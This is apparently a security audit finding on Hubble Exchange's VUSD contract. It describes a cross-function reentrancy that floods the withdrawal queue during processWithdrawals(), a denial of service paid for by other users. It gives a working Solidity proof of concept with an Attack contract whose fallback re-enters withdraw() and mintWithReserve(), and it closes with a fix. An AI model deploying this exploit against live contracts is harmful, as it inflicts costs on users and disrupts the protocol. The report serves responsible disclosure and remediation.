0x3e84fa45

high

# Denial of Service through cross-function reentrancy

## Summary
By cross-function reentering during the ```processWithdrawal()``` execution and performing multiple ```withdraw()``` calls, a malicious actor can bloat the withdrawal queue with more reentrant withdrawal transactions.
The bloating of the withdrawal queue makes ```processWithdrawal()``` expensive to call, and for users to process their withdrawal they would have to execute it several times, which would create even more bloat at the expense of the caller, while the malicious actor doesn't have to pay anything to maintain the bloat.
## Vulnerability Detail
Users are expected to call ```withdraw()```, which will burn their VUSD and push a Withdrawal object into the withdrawals array containing the amount burned.
On each iteration of the while loop ```withdrawals.length``` is read and a low-level call is performed to send the withdrawal amount to the user.

Since there is no reentrancy lock in the ```withdraw()``` and ```mintWithReserve()``` functions an attacking contract can cross-function reenter the ```withdraw()``` function during ```processWithdrawals()``` execution and post several withdrawal transactions with the minimum ```5 USDC``` mint requirement, which will modify the ```withdrawals.length``` **during** ```processWithdrawals()``` execution. This means that on the same ```processWithdrawals()``` call the reentered withdrawal transactions will also be executed, reentering again and creating even more withdrawals until `maxWithdrawalProcesses` is reached.

The attack contract can also reenter the ```mintWithReserve()``` function to redirect the USDC it is being sent per withdrawal into VUSD, which consequently be used to post more reentered withdrawals, creating an endless bloating loop at the expense of the ```processWithdrawals()``` caller.

This loop has no real cost for the attacker, the funds are just being exchanged from USDC to VUSD, to be held in the Withdrawal queue, to be received back in USDC, all this at the expense of the ```processWithdrawals()``` caller. The more USDC the malicious actor provides to the attack contract, the more 5 USDC withdrawal transactions bloating there will be, and therefore the more expensive calling ```processWithdrawals()``` will get.

```Solidity
    function processWithdrawals() external override whenNotPaused nonReentrant {
        uint reserve = address(this).balance;
        require(
            reserve >= withdrawals[start].amount,
            "Cannot process withdrawals at this time: Not enough balance"
        );
        uint i = start;
        while (i < withdrawals.length && (i - start) < maxWithdrawalProcesses) {
            Withdrawal memory withdrawal = withdrawals[i];
            if (reserve < withdrawal.amount) {
                break;
            }

            (bool success, bytes memory data) = withdrawal.usr.call{
                value: withdrawal.amount
            }("");
            if (success) {
                reserve -= withdrawal.amount;
            } else {
                emit WithdrawalFailed(withdrawal.usr, withdrawal.amount, data);
            }
            i += 1;
        }
        // re-entracy not possible, hence can update `start` at the end
        start = i;
    }
```

PoC:

```Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.8.9;
import "./Utils.sol";

contract VUSDCrossFunctionReentrancy is Utils {
    Attack public attackContract;

    function setUp() public {
        setupContracts();
        attackContract = new Attack(address(husd));
    }

    function testCrossFunctionReentrancy() public {
        //All users, including the attackContract own 10.000 VUSD
        uint amount = 10_000 * 1e6;
        uint minimalWithdrawalAmount = 5 * 1e6;

        mintVusd(bob, amount);
        mintVusd(alice, amount);
        mintVusd(address(attackContract), amount);

        //User Alice pushes a withdrawal to the queue
        vm.prank(alice);
        husd.withdraw(minimalWithdrawalAmount);

        //Push attackContract withdrawal to the queue
        vm.prank(address(attackContract));
        husd.withdraw(minimalWithdrawalAmount);

        //User Bob pushes a withdrawal
        vm.prank(bob);
        husd.withdraw(minimalWithdrawalAmount);

        //QUEUE: [aliceWithdrawal, attackContractWithdrawal, bobWithdrawal]

        assertEq(husd.withdrawalQLength(), 3);
        assertEq(husd.start(), 0);

        husd.processWithdrawals();

        //After finishing process withdrawals queue is 395 withdrawals long, and the new start position is 100
        //The next user that pushes a withdrawal, is going to have to processWithdrawals 3 times to reach to his withdrawal
        assertGt(husd.withdrawalQLength(), 200);
        assertEq(husd.start(), 100);

        //Bob pushes another withdrawal
        vm.prank(bob);
        husd.withdraw(minimalWithdrawalAmount);
        //He processes the withdrawals until his is processed in position 396
        husd.processWithdrawals();
        husd.processWithdrawals();
        husd.processWithdrawals();
        //Start is now at 400, meaning his withdrawal has gone through
        assertEq(husd.start(), 400);
        //After that there would be over 1500 pending withdrawals bloating the queue
        assertGt(husd.withdrawalQLength(), 1500);
    }
}

contract Attack {
    VUSD public target;

    constructor(address _target) {
        target = VUSD(_target);
    }

    function simpleWithdraw() external {
        target.withdraw(5 * 1e6);
    }

    fallback() external payable {
        if (msg.sender == address(target)) {
            if (address(this).balance > 100 * 1e18) {
                target.mintWithReserve{value: 80 * 1e18}(
                    address(this),
                    80 * 1e6
                );
            }
            if (target.balanceOf(address(this)) > 30 * 1e6) {
                target.withdraw(5 * 1e6);
                target.withdraw(5 * 1e6);
                target.withdraw(5 * 1e6);
                target.withdraw(5 * 1e6);
            }
        }
    }
}

```
## Impact
The fact that ```withdrawal.length``` updates paired with the lack of reentrancyGuard in ```withdraw()``` and ```mintWithReserve()``` creates the possibility of bloating the queue at the ```processWithdrawals()``` caller's expense. Any ```withdraw()``` called by a user would push their withdrawal transaction in the queue several hundreds or even thousands of positions from where the execution is, depending on how many times the ```processWithdrawal()``` has been called, and how much capital the attacker has deployed to bloat the queue.

Bloating the network doesn't directly censor a single user's withdrawal, but they would have to execute a costly ```processWithdrawals()``` multiple times to reach their transaction, creating even more bloat in the process for other users.
We believe that the cross-function reentering attack is a different attack vector regarding an out-of-gas DoS attack consuming 63/64 execution gas in a fallback, and leaving 1/64th of the gas not being enough to complete execution. The cross-function reentrancy attack would still be possible even if fixes for the "out of gas" attack like setting a reasonable ```maxWithdrawalProcesses``` value and a proportional gas limit in the low-level calls so that the full ```processWithdrawals()``` execution could never get close to block gas limit.
## Code Snippet
https://github.com/hubble-exchange/hubble-protocol/blob/d89714101dd3494b132a3e3f9fed9aca4e19aef6/contracts/VUSD.sol#L65C5-L86C1
## Tool used

Manual Review

## Recommendation

Cache the `withdrawals.length` in a local variable to prevent loops and set `nonReentrant` on the other key functions in the contract. 
